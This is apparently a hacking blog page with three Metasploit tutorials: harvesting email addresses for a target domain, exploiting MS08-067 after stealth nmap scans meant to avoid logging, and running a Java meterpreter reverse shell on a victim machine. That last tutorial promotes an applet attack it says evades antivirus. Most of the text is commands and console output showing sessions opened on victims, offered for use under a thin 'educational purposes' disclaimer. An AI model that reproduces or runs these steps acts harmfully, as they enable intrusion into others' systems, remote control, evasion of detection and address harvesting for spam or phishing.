Showing posts with label Metasploit. Show all posts
Showing posts with label Metasploit. Show all posts
METASPLOIT EMAIL HARSVESTING
IN THIS TUT I WILL SHOW YOU CAN TO USE METASPLOIT TO GET LIST OF EMAIL ADDRESS
OPEN TERMINAL AND TYPE
![[Image: NU7xE.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vAIANzf3c0vR67u3wPZhy9obMLHpm-N6YtxWw-P6ft84h2ndhXngyFP9V-Qwr4nHKtUv6Hf9SoS1oi7H0x-uk=s0-d)
NEXT STEP:
NOW WE HAVE TO SEARCH FOR EXPLOIT BY TYPING
![[Image: Ib0ue.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tGHMO-kJ6AlZ7_h1ew8K91L_PB8hoYb02g3Qcnk__gkaR90WoXQXwWw-cArGjPq4bHocnqrxdeS8rPruXr0w=s0-d)
YOU WILL FIND MANY EXPLOITS WE ARE GOING TO USE IS
auxiliary/gather/search_email_collector
![[Image: UIQpF.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vdAbN5AO0-CFhQm1JPr6LgBJeYIZ7QXmZDPnSWZIufRdwZBC-dAbR-Gb5X_6A_k-pcDMPiqh8wjBEUXr8kxn0=s0-d)
NEXT STEP:
SELECT THE EXPLOIT BY TYPING
![[Image: fqYEW.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v6_zPPITcoJjTjazsYMkEjGpA7xy16HYoP0uizv8NydDJJcCpMgLTGu8i0ufCc2peWdFlQ-6Dak_oyF8nzUMg=s0-d)
NEXT STEP:
NOW WE ARE GOING TO CON FIG THE EXPLOIT ACCORDING TO US LIKE SETTING THE DOMAIN BY TYPING [YOU CAN EVEN VIEW THE OPTIONS AVAILABLE BY TYPING (SHOW OPTIONS) ]
![[Image: FPtO8.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMyzCewFhwjSEajCEUbUd7_5re8_LC2TsNOdEVjkcn1d_2x7Q7dLzHE7szt-TfLsYbBU2QbZIR43B59CNXAg=s0-d)
NEXT STEP:
AFTER SETTING THE DOMAIN WE ARE GOING TO RUN THE COLLECTOR
BY TYPING
![[Image: mRcMu.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t4dOwk1snE5aJVkCTTh1DllbLh8S7MV607PUn76lRLJ662FavhZGOZQVASMCcwQoqPECsujPdkGFXP1epkS9w=s0-d)
NEXT STEP:
NOW THE COLLECTOR WILL START COLLECTING THE EMAILS FROM GOOGLE
BING YAHOO
NEXT STEP:
BOOOM U GOT THE LIST
![[Image: CXmuh.png]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skyo-7VoDmWT5kcx4vXWeFRQHd78IzA3DwBq0-NmLD7INt0GBErFPdW6eQCqSHVhRUF61EazxUPRFP4EyUip8=s0-d)
HOPE U LIKE THIS TUT
PLZ COMMENT AND REPLY


YOU CAN COPY PASTE IT
IF POSSIBLE GIVE CREDIT 

OPEN TERMINAL AND TYPE
Quote:msfconsole
NEXT STEP:
NOW WE HAVE TO SEARCH FOR EXPLOIT BY TYPING
Quote:search gather
YOU WILL FIND MANY EXPLOITS WE ARE GOING TO USE IS
auxiliary/gather/search_email_collector
NEXT STEP:
SELECT THE EXPLOIT BY TYPING
Quote:use auxiliary/gather/search_email_collector
NEXT STEP:
NOW WE ARE GOING TO CON FIG THE EXPLOIT ACCORDING TO US LIKE SETTING THE DOMAIN BY TYPING [YOU CAN EVEN VIEW THE OPTIONS AVAILABLE BY TYPING (SHOW OPTIONS) ]
Quote:set domain site.com
NEXT STEP:
AFTER SETTING THE DOMAIN WE ARE GOING TO RUN THE COLLECTOR
BY TYPING
Quote:run
NEXT STEP:
NOW THE COLLECTOR WILL START COLLECTING THE EMAILS FROM GOOGLE
BING YAHOO
NEXT STEP:
BOOOM U GOT THE LIST
HOPE U LIKE THIS TUT
PLZ COMMENT AND REPLY
YOU CAN COPY PASTE IT
Using metasploit and its exploits
Welcome again to another ultra noob edition production. :) I know
everyone likes colors but I am indeed just going to be very
straightforward since I'm in happy land right now.
NOTE: I am not responsible for anything you do with this information. It is for educational purposes only.
First off we are going to set up metasploit with postgresql. (which I use... but you can also use sqlite3 or mysql) These Structured Query Language (SQL) databases are going to be what hold the information of a target after scans and such.
For those of you using windows, you can go here.
Click Me!
For this instalment of ultra noob edition i will be using blackbuntu. You can download blackbuntu here!
To download backtrack you can go here!
So once you have postgresql and its deamon running you need to run the following commands to create a user and password for your metasploit database.
In blackbuntu and backtrack 5 you will use the commands
NOTE: I am not responsible for anything you do with this information. It is for educational purposes only.
First off we are going to set up metasploit with postgresql. (which I use... but you can also use sqlite3 or mysql) These Structured Query Language (SQL) databases are going to be what hold the information of a target after scans and such.
For those of you using windows, you can go here.
Click Me!
For this instalment of ultra noob edition i will be using blackbuntu. You can download blackbuntu here!
To download backtrack you can go here!
So once you have postgresql and its deamon running you need to run the following commands to create a user and password for your metasploit database.
In blackbuntu and backtrack 5 you will use the commands
Code:
service postgresql start
Code:
/etc/init.d/postgresql-8.3 start
Code:
sudo su postgres -c psql
ALTER USER postgres WITH PASSWORD 'your password';
\q
sudo passwd -d postgres
sudo su postgres -c passwdWhat this does is set up a user postgres with whatever password you choose.
Now to create/connect to the postgresql database in metasploit you need to use the commands. Once inside metasploit.
Code:
db_connect postgres:yourpassword@127.0.0.1/msf3This will create a postgresql database called msf3 if you haven't already. If you have it will just connect to it. (As shown in mine)
This is where the show really gets going.
Now you have two options... you can scan your network using outside tools to find the ip addresses or use an nmap ping scan.
To use a ping scan with nmap you would use nmap from the db_nmap command because it automatically adds hosts in the network to your new postgresql database.
Code:
db_nmap -Pn -v 192.168.1.1-255Now the -Pn argument tells nmap to run a ping scan on port 80 to decide what hosts are up and will add them to your database, while the -v command tells nmap to run in verbose mode giving you more detailed feedback while the scan is running.
Now after you have a list of live hosts you can run nmap in a new mode.
Code:
db_nmap -sS -sV -sU -n -O -v 192.168.1.4NOTE: VERY IMPORTANT. RUNNING THE -sS COMMAND VS THE -sT COMMAND.
THE -sT COMMAND COMPLETES A FULL TCP CONNECTION WHICH GETS LOGGED BY THE REMOTE HOST. TO PREVENT THIS RUNNING A STEALTH SYN SCAN WITH THE -sS COMMAND IS THE BEST OPTION. I HAVE STATED THIS IN OTHER TUTS ABOUT NMAP BUT TO STAY ANON YOU NEED TO DO THIS.
Now i run the ip 192.168.1.4 because that is what is currently on my network.
The -sS command runs a stealth syn scan which does not create a full tcp connection and allows you to continue unlogged. The -sV scan will tell you what services are running on a certain port which will come into play when selecting an exploit to use.
The -sU command runs a udp port scan against the target, and since there is no reply from udp packets they never get logged in the first place. The -O scan runs an OS scan against the target using tcp fingerprinting to tell you the operating system of the target machine, this will also come to play when selecting an exploit. The -n command tells nmap to not run a -Pn or ping scan agianst the target as they get logged, and since you have already done that once you wouldn't want to do it again.
And again the -v command runs nmap in verbose mode which allows you to see more of whats going on in the behind the scenes and helps you better understand what is happening.
Now once you have a list of open ports you can begin to choose your exploit based on port and operating system. For this exercise I chose the windows/smb/ms08_067_netapi exploit.
Now since port 445 is open I will attempt to run the ms08_067_netapi exploit against the target. So with metasploit open we will run
Code:
use windows/smb/ms08_067_netapi
set payload windows/bind_tcp
set rhost 192.168.1.4
set lhost 192.168.1.3
set lport 5150
checkNow these commands in metasploit will first set the exploit to use as the windows/smb/ms08_067_netapi exploit.
The second sets metasploit to use a bind shell using tcp protocal.
The third sets the remote host to our target ip. The fourth sets the localhost to our ip, and the local port the one we want to listen on.
Running the check command will tell us if the target is vulnerable or not.
And as you can see it is. So now we will run the exploit command
Code:
exploitFrom there meterpreter will open. You can go here for all the meterpreter commands.
Now your in.... All you need to do is to do whatever you want. LOL
This Has been another ultra noob edition tutorial.
References
http://www.backtrack-linux.org/forums/ba...resql.html
http://hackforums.net/showthread.php?tid=970352
If I missed a ref or something let me know. I will fix it immediatly.
P.S. Will be adding things and command explanations as necissary just P.M. me for any help or explanations.
Also would very much appreciate feedback on what I could improve within the tut and whether or not it was enjoyed/helpful.
P.S.S. Am still making the cracking WPA with aircrack tutorial.... pretty much was just too lazy to do it recently as i am going to be a father... :)
Really? no feedback or anything about this post? Thats disapointing.. if i cant get more then a single thank you i might as well stop making tuts
Metasploit JAVA meterpreter payload
If you haven’t noticed the Metasploit Framework has a JAVA meterpreter payload for some time now
It supports all the commands supported by the PHP meterpreter, as of
SVN revision 9777, and additionally the ipconfig, route, and screenshot
commands.
It is not fully implemented into the framework yet and in order to get it up and running some manual tweaking is needed.
In this post I will show how to set it up and use it.
Further more, I have recreated my “Evil java applet wizard” to automate the the process of getting it up and running.
The script now supports a full java attack which includes the client side applet attack and uses the meterpreter java payload instead a binary executable.
Registered members can download the script at the end of this post (Script updated Aug 17) .
Why using a java meterpreter you ask ?
Well…you’ll see later…
Requirements:
JRE 1.2 on the victim machine is enough although some features, like
routing tables or screenshots, require JRE 1.3, JRE 1.4 or JRE 1.6.
You can find the java meterpreter payload jar file in:
"/pentest/exploits/framework3/data/java/loader.jar"
You will also need the “JavaMeterpreter.zip” file which you can download from HERE
I have just noticed that manual
tweaking is no longer necessary the Metasploit framework now has the
java meterpreter listener built in.
That means you can skip steps 1 to 4
and instead of using the patched php meterpreter you can use the java meterpreter directly.
I have also updated the script to use the java payload as well.
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 578 exploits - 297 auxiliary
+ -- --=[ 212 payloads - 27 encoders - 8 nops
=[ svn r10024 updated today (2010.08.17)
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) >
Lets see how to set it up manually...
1. Download
root@Blackbox:~# cd /tmp/
root@Blackbox:/tmp# wget https://www.metasploit.com/redmine/attachments/397/JavaMeterpreter.zip --no-check-certificate
2. Unzip
root@Blackbox:/tmp# unzip JavaMeterpreter.zip
3. Copy necessary files
root@Blackbox:/tmp# cd extensions/
root@Blackbox:/tmp/extensions# cp {ext_server_stdapi.jar,meterpreter.jar} /pentest/exploits/framework3/data/meterpreter
4. Backup PHP Meterpreter files and Change jar files extensions to php (This will break PHP Meterpreter support)
root@Blackbox:/tmp/extensions# cd /pentest/exploits/framework3/data/meterpreter
root@Blackbox:/pentest/exploits/framework3/data/meterpreter# mv meterpreter.php meterpreter.phpx
root@Blackbox:/pentest/exploits/framework3/data/meterpreter# mv ext_server_stdapi.php ext_server_stdapi.phpx
root@Blackbox:/pentest/exploits/framework3/data/meterpreter# mv meterpreter.jar meterpreter.php
root@Blackbox:/pentest/exploits/framework3/data/meterpreter# mv ext_server_stdapi.jar ext_server_stdapi.php
5. Launch msfconsole and setup a multi/handler listener with a "php/meterpreter/reverse_tcp" payload.
root@Blackbox:/pentest/exploits/framework3/data/meterpreter# cd ..
root@Blackbox:/pentest/exploits/framework3/data# cd ..
root@Blackbox:/pentest/exploits/framework3# ./msfconsole
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|
=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 577 exploits - 295 auxiliary
+ -- --=[ 212 payloads - 27 encoders - 8 nops
=[ svn r9993 updated today (2010.08.13)
msf > use exploit/multi/handler
smsf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
6. Copy (transfer) “/pentest/exploits/framework3/data/java/loader.jar” to victim pc and run it as follows
C:\Documents and Settings\NightRanger>java -jar loader.jar
Usage: java -jar loader.jar []
C:\Documents and Settings\NightRanger>java -jar loader.jar 192.168.1.104 4444
7. Get your Meterpreter JAVA Shell…
[*] Sending stage (21717 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.106:1435) at Sat Aug 14 20:34:57 +0300 2010
meterpreter > sysinfo
Computer: exploit
OS : Windows XP 5.1 (x86)
meterpreter > getuid
Server username: NightRanger
meterpreter >
P.S:
The java meterpreter will work for linux systems as well….
root@Blackbox:/pentest/exploits/framework3/data/java# java -jar loader.jar 192.168.1.104 4444
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
msf exploit(handler) > rexploit
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Sending stage (21717 bytes) to 192.168.1.104
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.104:59806) at Sat Aug 14 20:47:40 +0300 2010
meterpreter > sysinfo
Computer: Blackbox
OS : Linux 2.6.34 (i386)
meterpreter > getuid
Server username: root
meterpreter >
I have modified my “Evil Java Applet Wizard” script to use the JAVA Meterpreter Payload instead of a binary executable.
The reasons for that are:
1. Antivirus software will not detect JAVA Meterpreter as a malicious file (as you can see in the demo video below).
2. It make sense to use the Java Meterpreter payload if you are already using athe JAVA Applet client side attack vector.
If it worked it means that the victim has Java installed on his system which allowes us to use this payload.









